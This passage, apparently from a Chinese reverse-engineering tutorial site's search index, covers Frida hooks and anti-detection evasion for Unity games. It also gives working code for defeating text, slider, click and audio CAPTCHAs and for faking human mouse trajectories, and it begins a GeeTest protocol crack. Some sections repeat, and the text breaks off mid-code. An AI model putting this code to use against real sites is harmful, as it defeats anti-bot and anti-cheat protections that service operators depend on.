现象: 附加 Frida 后游戏崩溃或闪退。 对抗: 参考 反分析技术案例，隐藏 Frida 特征，Bypass TracerPid 检测。 使用 Magisk + Zygisk 模块在系统层面进行 Dump，规避应用层检测。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:11:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#3-反调试与完整性校验"},{"categories":null,"collections":null,"content":"4. 字符串加密 现象: dump.cs 中字符串字面量全部为空或乱码。 对抗: // 在运行时 Hook 字符串解密函数 // 常见模式: 游戏自定义了 String.Create 或类似的工厂方法 var stringDecrypt = il2cpp.add(0xXXXXXX); // 需要逆向确定 Interceptor.attach(stringDecrypt, { onLeave: function(retval) { if (!retval.isNull()) { // IL2CPP 字符串结构: [Il2CppObject header][length][char data...] var length = retval.add(Process.pointerSize * 2).readInt(); if (length \u003e 0 \u0026\u0026 length \u003c 1000) { var str = retval.add(Process.pointerSize * 2 + 4) .readUtf16String(length); console.log(\"[STR] \" + str); } } } }); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:11:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#4-字符串加密"},{"categories":null,"collections":null,"content":"常用工具速查 工具 用途 链接 Il2CppDumper Dump IL2CPP 元数据 https://github.com/Perfare/Il2CppDumper frida-il2cpp-bridge Frida IL2CPP Hook 框架 https://github.com/vfsfitvnm/frida-il2cpp-bridge dnSpy .NET DLL 反编译/修改 https://github.com/dnSpy/dnSpy IDA Pro 二进制分析 https://hex-rays.com/ida-pro Ghidra 开源二进制分析 https://ghidra-sre.org GameGuardian Android 内存修改 https://gameguardian.net Il2CppInspector IL2CPP 分析 (替代品) https://github.com/djkaty/Il2CppInspector Cpp2IL IL2CPP 反编译 https://github.com/SamboyCoding/Cpp2IL AssetStudio Unity 资源提取 https://github.com/Perfare/AssetStudio ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:12:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#常用工具速查"},{"categories":null,"collections":null,"content":"总结 Unity 游戏逆向的核心在于 还原符号。不同后端有不同的策略： IL2CPP: 使用 Il2CppDumper 还原 global-metadata.dat 中的类型信息，再结合 Frida 进行运行时 Hook。对抗加密时，优先尝试运行时内存 Dump。 Mono: 直接用 dnSpy 反编译 Assembly-CSharp.dll，可以看到完整的源码级逻辑，甚至可以直接修改 DLL 重打包。 无论哪种后端，核心流程都是：识别 -\u003e Dump/反编译 -\u003e 定位目标 -\u003e Hook/修改 -\u003e 验证效果。 免责声明: 本文仅用于安全研究和学习目的。未经授权修改他人应用可能违反法律法规和服务条款。请在合法合规的范围内使用这些技术。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:13:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#总结"},{"categories":null,"collections":null,"content":"验证码 (CAPTCHA) 绕过 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:0:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#验证码-captcha-绕过"},{"categories":null,"collections":null,"content":"概述 CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) 是区分人类和机器人的图灵测试。从最早的文字输入，到后来的滑块拼图，再到现在的点选、行为分析和无感验证，验证码技术在不断演进。 逆向验证码的核心：理解验证逻辑、识别图像内容、模拟人类行为。 技术路线： 识别 (Recognition)：OCR、深度学习、缺口检测 模拟 (Simulation)：轨迹生成、行为伪造 破解 (Bypass)：协议分析、参数伪造 外包 (Outsource)：打码平台、人工打码 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:1:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#概述"},{"categories":null,"collections":null,"content":"📚 前置知识 在开始本配方之前，建议先掌握以下内容： 知识领域 重要程度 参考资料 Hook 技术 必需 Hook 技术 Chrome DevTools 必需 浏览器开发者工具 简单验证码识别 推荐 绕过简单验证码 浏览器自动化 推荐 Puppeteer/Playwright Python 基础 推荐 了解 requests、PIL/Pillow 库的使用 💡 提示: 验证码绕过是一个综合性很强的技能，涉及图像识别、行为模拟、协议分析等多个领域。建议先从简单验证码入手，逐步挑战复杂验证码。 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:2:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#-前置知识"},{"categories":null,"collections":null,"content":"1. 验证码类型分类 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#1-验证码类型分类"},{"categories":null,"collections":null,"content":"1.1 文字验证码 (Text-based CAPTCHA) 特征 扭曲变形的字母/数字 添加噪点、干扰线 背景复杂化 难度等级 类型 示例 难度 识别率 简单数字 1234 ⭐ 95%+ 字母+数字 A3bC ⭐⭐ 85%+ 带噪点 ![噪点验证码] ⭐⭐⭐ 70%+ 严重扭曲 ![扭曲验证码] ⭐⭐⭐⭐ 50%+ 识别技术 传统 OCR: Tesseract (效果一般) 专用工具: ddddocr (国内验证码效果极佳) 深度学习: CNN 分类器（需要训练数据） ddddocr 使用示例: import ddddocr import base64 ocr = ddddocr.DdddOcr() # 方法1: 读取图片文件 with open('captcha.png', 'rb') as f: image = f.read() result = ocr.classification(image) print(result) # 输出: \"1234\" # 方法2: Base64 字符串 image_base64 = \"data:image/png;base64,iVBORw0K...\" image_bytes = base64.b64decode(image_base64.split(',')[1]) result = ocr.classification(image_bytes) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#11-文字验证码-text-based-captcha"},{"categories":null,"collections":null,"content":"1.1 文字验证码 (Text-based CAPTCHA) 特征 扭曲变形的字母/数字 添加噪点、干扰线 背景复杂化 难度等级 类型 示例 难度 识别率 简单数字 1234 ⭐ 95%+ 字母+数字 A3bC ⭐⭐ 85%+ 带噪点 ![噪点验证码] ⭐⭐⭐ 70%+ 严重扭曲 ![扭曲验证码] ⭐⭐⭐⭐ 50%+ 识别技术 传统 OCR: Tesseract (效果一般) 专用工具: ddddocr (国内验证码效果极佳) 深度学习: CNN 分类器（需要训练数据） ddddocr 使用示例: import ddddocr import base64 ocr = ddddocr.DdddOcr() # 方法1: 读取图片文件 with open('captcha.png', 'rb') as f: image = f.read() result = ocr.classification(image) print(result) # 输出: \"1234\" # 方法2: Base64 字符串 image_base64 = \"data:image/png;base64,iVBORw0K...\" image_bytes = base64.b64decode(image_base64.split(',')[1]) result = ocr.classification(image_bytes) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#特征"},{"categories":null,"collections":null,"content":"1.1 文字验证码 (Text-based CAPTCHA) 特征 扭曲变形的字母/数字 添加噪点、干扰线 背景复杂化 难度等级 类型 示例 难度 识别率 简单数字 1234 ⭐ 95%+ 字母+数字 A3bC ⭐⭐ 85%+ 带噪点 ![噪点验证码] ⭐⭐⭐ 70%+ 严重扭曲 ![扭曲验证码] ⭐⭐⭐⭐ 50%+ 识别技术 传统 OCR: Tesseract (效果一般) 专用工具: ddddocr (国内验证码效果极佳) 深度学习: CNN 分类器（需要训练数据） ddddocr 使用示例: import ddddocr import base64 ocr = ddddocr.DdddOcr() # 方法1: 读取图片文件 with open('captcha.png', 'rb') as f: image = f.read() result = ocr.classification(image) print(result) # 输出: \"1234\" # 方法2: Base64 字符串 image_base64 = \"data:image/png;base64,iVBORw0K...\" image_bytes = base64.b64decode(image_base64.split(',')[1]) result = ocr.classification(image_bytes) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#难度等级"},{"categories":null,"collections":null,"content":"1.1 文字验证码 (Text-based CAPTCHA) 特征 扭曲变形的字母/数字 添加噪点、干扰线 背景复杂化 难度等级 类型 示例 难度 识别率 简单数字 1234 ⭐ 95%+ 字母+数字 A3bC ⭐⭐ 85%+ 带噪点 ![噪点验证码] ⭐⭐⭐ 70%+ 严重扭曲 ![扭曲验证码] ⭐⭐⭐⭐ 50%+ 识别技术 传统 OCR: Tesseract (效果一般) 专用工具: ddddocr (国内验证码效果极佳) 深度学习: CNN 分类器（需要训练数据） ddddocr 使用示例: import ddddocr import base64 ocr = ddddocr.DdddOcr() # 方法1: 读取图片文件 with open('captcha.png', 'rb') as f: image = f.read() result = ocr.classification(image) print(result) # 输出: \"1234\" # 方法2: Base64 字符串 image_base64 = \"data:image/png;base64,iVBORw0K...\" image_bytes = base64.b64decode(image_base64.split(',')[1]) result = ocr.classification(image_bytes) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#识别技术"},{"categories":null,"collections":null,"content":"1.2 滑块验证码 (Slider CAPTCHA) 1.2.1 拼图滑块 特征: 一张背景图 一个滑块（拼图碎片） 需要滑动到正确位置完成拼图 代表产品: 极验 (GeeTest) 网易易盾 腾讯防水墙 识别原理: 缺口检测 完整破解流程: import ddddocr import requests from io import BytesIO from PIL import Image # 1. 获取验证码图片 bg_url = \"https://example.com/captcha/bg.jpg\" slider_url = \"https://example.com/captcha/slider.png\" bg_img = Image.open(BytesIO(requests.get(bg_url).content)) slider_img = Image.open(BytesIO(requests.get(slider_url).content)) # 2. 使用 ddddocr 进行缺口检测 det = ddddocr.DdddOcr(det=True) # 开启目标检测模式 # 将图片转为字节 bg_bytes = BytesIO() bg_img.save(bg_bytes, format='PNG') bg_bytes = bg_bytes.getvalue() # 检测缺口位置 result = det.detection(bg_bytes) print(result) # 输出: {'target': [x, y, width, height]} # 3. 计算需要滑动的距离 gap_x = result['target'][0] # 缺口的 x 坐标 # 4. 生成滑动轨迹（见下文） trajectory = generate_trajectory(gap_x) # 5. 提交验证 # (具体实现见下文轨迹模拟章节) OpenCV 缺口检测: import cv2 import numpy as np def find_gap(bg_img, slider_img): \"\"\"使用 OpenCV 模板匹配找缺口\"\"\" # 转灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_BGR2GRAY) slider_gray = cv2.cvtColor(np.array(slider_img), cv2.COLOR_BGR2GRAY) # 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) slider_edges = cv2.Canny(slider_gray, 100, 200) # 模板匹配 result = cv2.matchTemplate(bg_edges, slider_edges, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 返回最佳匹配位置 return max_loc[0] # x 坐标 gap_x = find_gap(bg_img, slider_img) print(f\"缺口位置: {gap_x}px\") 1.2.2 旋转滑块 特征: 圆形图片被旋转打乱 滑动滑块旋转图片，使其归位 识别方法: 特征提取: SIFT/ORB 特征点匹配 角度计算: 计算旋转角度 滑动映射: 将角度映射为滑动距离 import cv2 def find_rotation_angle(original_img, rotated_img): \"\"\"计算旋转角度\"\"\" # 使用 ORB 特征检测 orb = cv2.ORB_create() kp1, des1 = orb.detectAndCompute(original_img, None) kp2, des2 = orb.detectAndCompute(rotated_img, None) # 特征匹配 bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) matches = bf.match(des1, des2) matches = sorted(matches, key=lambda x: x.distance) # 计算旋转角度（简化版） # 实际实现需要更复杂的几何变换 angle = calculate_angle_from_matches(kp1, kp2, matches) return angle ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#12-滑块验证码-slider-captcha"},{"categories":null,"collections":null,"content":"1.2 滑块验证码 (Slider CAPTCHA) 1.2.1 拼图滑块 特征: 一张背景图 一个滑块（拼图碎片） 需要滑动到正确位置完成拼图 代表产品: 极验 (GeeTest) 网易易盾 腾讯防水墙 识别原理: 缺口检测 完整破解流程: import ddddocr import requests from io import BytesIO from PIL import Image # 1. 获取验证码图片 bg_url = \"https://example.com/captcha/bg.jpg\" slider_url = \"https://example.com/captcha/slider.png\" bg_img = Image.open(BytesIO(requests.get(bg_url).content)) slider_img = Image.open(BytesIO(requests.get(slider_url).content)) # 2. 使用 ddddocr 进行缺口检测 det = ddddocr.DdddOcr(det=True) # 开启目标检测模式 # 将图片转为字节 bg_bytes = BytesIO() bg_img.save(bg_bytes, format='PNG') bg_bytes = bg_bytes.getvalue() # 检测缺口位置 result = det.detection(bg_bytes) print(result) # 输出: {'target': [x, y, width, height]} # 3. 计算需要滑动的距离 gap_x = result['target'][0] # 缺口的 x 坐标 # 4. 生成滑动轨迹（见下文） trajectory = generate_trajectory(gap_x) # 5. 提交验证 # (具体实现见下文轨迹模拟章节) OpenCV 缺口检测: import cv2 import numpy as np def find_gap(bg_img, slider_img): \"\"\"使用 OpenCV 模板匹配找缺口\"\"\" # 转灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_BGR2GRAY) slider_gray = cv2.cvtColor(np.array(slider_img), cv2.COLOR_BGR2GRAY) # 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) slider_edges = cv2.Canny(slider_gray, 100, 200) # 模板匹配 result = cv2.matchTemplate(bg_edges, slider_edges, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 返回最佳匹配位置 return max_loc[0] # x 坐标 gap_x = find_gap(bg_img, slider_img) print(f\"缺口位置: {gap_x}px\") 1.2.2 旋转滑块 特征: 圆形图片被旋转打乱 滑动滑块旋转图片，使其归位 识别方法: 特征提取: SIFT/ORB 特征点匹配 角度计算: 计算旋转角度 滑动映射: 将角度映射为滑动距离 import cv2 def find_rotation_angle(original_img, rotated_img): \"\"\"计算旋转角度\"\"\" # 使用 ORB 特征检测 orb = cv2.ORB_create() kp1, des1 = orb.detectAndCompute(original_img, None) kp2, des2 = orb.detectAndCompute(rotated_img, None) # 特征匹配 bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) matches = bf.match(des1, des2) matches = sorted(matches, key=lambda x: x.distance) # 计算旋转角度（简化版） # 实际实现需要更复杂的几何变换 angle = calculate_angle_from_matches(kp1, kp2, matches) return angle ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#121-拼图滑块"},{"categories":null,"collections":null,"content":"1.2 滑块验证码 (Slider CAPTCHA) 1.2.1 拼图滑块 特征: 一张背景图 一个滑块（拼图碎片） 需要滑动到正确位置完成拼图 代表产品: 极验 (GeeTest) 网易易盾 腾讯防水墙 识别原理: 缺口检测 完整破解流程: import ddddocr import requests from io import BytesIO from PIL import Image # 1. 获取验证码图片 bg_url = \"https://example.com/captcha/bg.jpg\" slider_url = \"https://example.com/captcha/slider.png\" bg_img = Image.open(BytesIO(requests.get(bg_url).content)) slider_img = Image.open(BytesIO(requests.get(slider_url).content)) # 2. 使用 ddddocr 进行缺口检测 det = ddddocr.DdddOcr(det=True) # 开启目标检测模式 # 将图片转为字节 bg_bytes = BytesIO() bg_img.save(bg_bytes, format='PNG') bg_bytes = bg_bytes.getvalue() # 检测缺口位置 result = det.detection(bg_bytes) print(result) # 输出: {'target': [x, y, width, height]} # 3. 计算需要滑动的距离 gap_x = result['target'][0] # 缺口的 x 坐标 # 4. 生成滑动轨迹（见下文） trajectory = generate_trajectory(gap_x) # 5. 提交验证 # (具体实现见下文轨迹模拟章节) OpenCV 缺口检测: import cv2 import numpy as np def find_gap(bg_img, slider_img): \"\"\"使用 OpenCV 模板匹配找缺口\"\"\" # 转灰度图 bg_gray = cv2.cvtColor(np.array(bg_img), cv2.COLOR_BGR2GRAY) slider_gray = cv2.cvtColor(np.array(slider_img), cv2.COLOR_BGR2GRAY) # 边缘检测 bg_edges = cv2.Canny(bg_gray, 100, 200) slider_edges = cv2.Canny(slider_gray, 100, 200) # 模板匹配 result = cv2.matchTemplate(bg_edges, slider_edges, cv2.TM_CCOEFF_NORMED) min_val, max_val, min_loc, max_loc = cv2.minMaxLoc(result) # 返回最佳匹配位置 return max_loc[0] # x 坐标 gap_x = find_gap(bg_img, slider_img) print(f\"缺口位置: {gap_x}px\") 1.2.2 旋转滑块 特征: 圆形图片被旋转打乱 滑动滑块旋转图片，使其归位 识别方法: 特征提取: SIFT/ORB 特征点匹配 角度计算: 计算旋转角度 滑动映射: 将角度映射为滑动距离 import cv2 def find_rotation_angle(original_img, rotated_img): \"\"\"计算旋转角度\"\"\" # 使用 ORB 特征检测 orb = cv2.ORB_create() kp1, des1 = orb.detectAndCompute(original_img, None) kp2, des2 = orb.detectAndCompute(rotated_img, None) # 特征匹配 bf = cv2.BFMatcher(cv2.NORM_HAMMING, crossCheck=True) matches = bf.match(des1, des2) matches = sorted(matches, key=lambda x: x.distance) # 计算旋转角度（简化版） # 实际实现需要更复杂的几何变换 angle = calculate_angle_from_matches(kp1, kp2, matches) return angle ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#122-旋转滑块"},{"categories":null,"collections":null,"content":"1.3 点选验证码 (Click-based CAPTCHA) 特征: 给出一张图片和文字提示 要求按顺序点击图中的特定对象 示例：“请依次点击图中的红绿灯” 代表产品: 腾讯防水墙 12306 验证码（早期） 识别技术: YOLO: 目标检测神经网络 分类器: 训练针对特定类别的识别器 YOLO 识别示例: from ultralytics import YOLO # 加载预训练模型 model = YOLO('yolov8n.pt') # 识别图中的对象 results = model('captcha.jpg') # 提取红绿灯的位置 traffic_lights = [] for r in results: boxes = r.boxes for box in boxes: class_id = int(box.cls[0]) if class_id == 9: # COCO 数据集中红绿灯的类别 ID x, y, w, h = box.xywh[0].tolist() traffic_lights.append((int(x), int(y))) print(f\"检测到的红绿灯位置: {traffic_lights}\") # 输出: [(120, 80), (300, 150), ...] # 按要求顺序点击 for x, y in traffic_lights: click(x, y) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#13-点选验证码-click-based-captcha"},{"categories":null,"collections":null,"content":"1.4 行为验证码 (Behavioral CAPTCHA) 特征: 不是单纯的图像识别 分析鼠标轨迹、点击速度、设备指纹等行为特征 通常是\"无感验证\" 代表产品: Google reCAPTCHA v3 阿里云滑动验证 关键指标: 鼠标轨迹: 曲线自然度、加速度变化 设备指纹: Canvas、WebGL、AudioContext 环境特征: User-Agent、时区、语言、屏幕分辨率 行为时序: 停留时间、操作速度 对抗方法: 模拟真实行为 (见轨迹模拟章节) 绕过指纹检测 (见 浏览器指纹识别) 使用真实浏览器 (Puppeteer + Stealth 插件) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:4","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#14-行为验证码-behavioral-captcha"},{"categories":null,"collections":null,"content":"1.5 语音验证码 (Audio CAPTCHA) 特征: 播放含有数字/字母的语音 通常是为视障人士提供的替代方案 识别技术: 语音识别: Google Speech API, Baidu ASR 深度学习: DeepSpeech, Wav2Vec import speech_recognition as sr # 下载音频文件 audio_url = \"https://example.com/captcha/audio.wav\" # ...下载到本地 # 使用 Google Speech API 识别 recognizer = sr.Recognizer() with sr.AudioFile(\"captcha.wav\") as source: audio = recognizer.record(source) try: text = recognizer.recognize_google(audio) print(f\"识别结果: {text}\") except sr.UnknownValueError: print(\"无法识别\") ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:3:5","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#15-语音验证码-audio-captcha"},{"categories":null,"collections":null,"content":"2. 轨迹模拟 (Trajectory Simulation) 识别出\"缺口位置\"只是第一步，关键是如何滑过去。匀速直线运动一定会被判定为机器人。 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:4:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#2-轨迹模拟-trajectory-simulation"},{"categories":null,"collections":null,"content":"2.1 贝塞尔曲线轨迹 原理: 使用三次贝塞尔曲线模拟人手的加速-匀速-减速过程 Python 实现: import numpy as np import random def ease_out_quad(x): \"\"\"缓出函数\"\"\" return 1 - (1 - x) ** 2 def ease_in_quad(x): \"\"\"缓入函数\"\"\" return x ** 2 def ease_out_back(x): \"\"\"回弹函数\"\"\" c1 = 1.70158 c3 = c1 + 1 return 1 + c3 * pow(x - 1, 3) + c1 * pow(x - 1, 2) def generate_trajectory(distance, overshoot=True): \"\"\" 生成滑动轨迹 :param distance: 总距离 :param overshoot: 是否过冲（滑过头再回来） :return: [(x, y, t), ...] 轨迹点列表 \"\"\" trajectory = [] # 参数设置 if overshoot: # 过冲：滑到distance + 5~10px，再回来 overshoot_distance = distance + random.randint(5, 10) else: overshoot_distance = distance # 第一阶段：加速阶段 (30%) current = 0 t = 0 while current \u003c overshoot_distance * 0.3: t += random.randint(10, 20) # 时间间隔 10-20ms ratio = current / (overshoot_distance * 0.3) move = ease_in_quad(ratio) * 5 + random.uniform(0, 2) current += move # 添加y轴抖动 y = random.randint(-2, 2) trajectory.append((int(current), y, t)) # 第二阶段：匀速阶段 (40%) while current \u003c overshoot_distance * 0.7: t += random.randint(10, 15) move = random.uniform(3, 5) current += move y = random.randint(-3, 3) trajectory.append((int(current), y, t)) # 第三阶段：减速阶段 (30%) start_decel = current while current \u003c overshoot_distance: t += random.randint(15, 25) ratio = (current - start_decel) / (overshoot_distance - start_decel) move = (1 - ease_out_quad(ratio)) * 3 + random.uniform(0, 1) current += move y = random.randint(-2, 2) trajectory.append((int(current), y, t)) # 如果有过冲，添加回退阶段 if overshoot: back_to = distance while current \u003e back_to: t += random.randint(10, 15) move = random.uniform(1, 3) current -= move y = random.randint(-1, 1) trajectory.append((int(current), y, t)) return trajectory # 使用示例 trajectory = generate_trajectory(200, overshoot=True) print(f\"生成了 {len(trajectory)} 个轨迹点\") # 输出: [(3, 1, 15), (7, -1, 28), (12, 0, 43), ...] ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:4:1","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#21-贝塞尔曲线轨迹"},{"categories":null,"collections":null,"content":"2.2 真实轨迹采集与重放 思路: 记录真人滑动的轨迹，建立轨迹库，每次随机选择一条并缩放 采集脚本 (在浏览器 Console 中运行): let trajectory = []; let startTime = null; document.addEventListener(\"mousedown\", function (e) { if (e.target.className.includes(\"slider\")) { startTime = Date.now(); trajectory = []; document.addEventListener(\"mousemove\", recordMove); document.addEventListener(\"mouseup\", endRecording); } }); function recordMove(e) { if (startTime) { trajectory.push({ x: e.clientX, y: e.clientY, t: Date.now() - startTime, }); } } function endRecording() { console.log(JSON.stringify(trajectory)); copy(JSON.stringify(trajectory)); // 自动复制到剪贴板 document.removeEventListener(\"mousemove\", recordMove); document.removeEventListener(\"mouseup\", endRecording); } 重放与缩放: import json def scale_trajectory(original_trajectory, target_distance): \"\"\" 缩放轨迹以适应新的距离 :param original_trajectory: 原始轨迹 [{'x': 100, 'y': 0, 't': 150}, ...] :param target_distance: 目标距离 :return: 缩放后的轨迹 \"\"\" # 计算原始距离 original_distance = original_trajectory[-1]['x'] - original_trajectory[0]['x'] # 计算缩放比例 scale = target_distance / original_distance # 缩放轨迹 scaled_trajectory = [] base_x = original_trajectory[0]['x'] for point in original_trajectory: scaled_x = (point['x'] - base_x) * scale scaled_trajectory.append({ 'x': int(scaled_x), 'y': point['y'], 't': point['t'] }) return scaled_trajectory # 加载轨迹库 with open('trajectories.json', 'r') as f: trajectory_library = json.load(f) # 随机选择一条轨迹 import random trajectory = random.choice(trajectory_library) # 缩放到目标距离 scaled_trajectory = scale_trajectory(trajectory, gap_x) ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:4:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#22-真实轨迹采集与重放"},{"categories":null,"collections":null,"content":"2.3 Puppeteer ghost-cursor 插件 安装: npm install ghost-cursor 使用示例: const puppeteer = require(\"puppeteer\"); const { createCursor } = require(\"ghost-cursor\"); (async () =\u003e { const browser = await puppeteer.launch({ headless: false }); const page = await browser.newPage(); const cursor = createCursor(page); await page.goto(\"https://example.com/captcha\"); // 找到滑块元素 const slider = await page.$(\".slider-button\"); const sliderBox = await slider.boundingBox(); // 计算目标位置（假设缺口在 200px 处） const targetX = sliderBox.x + 200; const targetY = sliderBox.y + sliderBox.height / 2; // 使用 ghost-cursor 移动鼠标（自动生成逼真轨迹） await cursor.move(sliderBox.x, sliderBox.y); await cursor.click(); // 按下鼠标 // 移动到目标位置（包含随机抖动和曲线） await cursor.move(targetX, targetY, { waitForSelector: false, paddingPercentage: 10, // 10% 的随机偏移 }); await page.mouse.up(); // 释放鼠标 await browser.close(); })(); ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:4:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#23-puppeteer-ghost-cursor-插件"},{"categories":null,"collections":null,"content":"3. 协议破解 (Protocol Reverse) 有些验证码不需要模拟轨迹，直接破解其加密参数即可。 ","date":"2025-03-12","objectID":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/:5:0","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","电商"],"title":"验证码 (CAPTCHA) 绕过","uri":"/reverse_engineering/web/04-advanced-recipes/captcha_bypass/#3-协议破解-protocol-reverse"},{"categories":null,"collections":null,"content":"3.1 极验 (GeeTest) 协议分析 流程: 初始化：GET /api/captcha/init 获取图片：GET /captcha/bg/{challenge}.jpg 验证：POST /api/captcha/verify 验证参数: { \"challenge\": \"abc123...\", // 挑战码 \"validate\": \"def456...\", // 加密后的轨迹 \"seccode\": \"validate|jordan\" // validate + \"|jordan\" } validate 生成逻辑 (简化版): // 极验加密算法（已公开部分） function get_validate(trajectory, challenge) { // 1. 编码轨迹 let encoded_trajectory = encode_trajectory(trajectory); // 2. 与 challenge 进行运算 let combined = encoded_trajectory + challenge; // 3. MD5 + Base64 let validate = md5(combined).substring(0, 32); return validate; } function encode_trajectory(trajectory) { // 轨迹编码（实际更复杂，包含加密和压缩） let encoded = \"\"; for (let point of trajectory) { encoded += int_to_char(point.x) + int_to_char(point.y) + int_to_char(point.t); } return encoded; } Python 破解示例: import requests import hashlib def crack_geetest(gap_x): \"\"\"破解极验滑块验证\"\"\" # 1. 初始化获取 challenge init_url = \"https://api.geetest.com/get.php\" response = 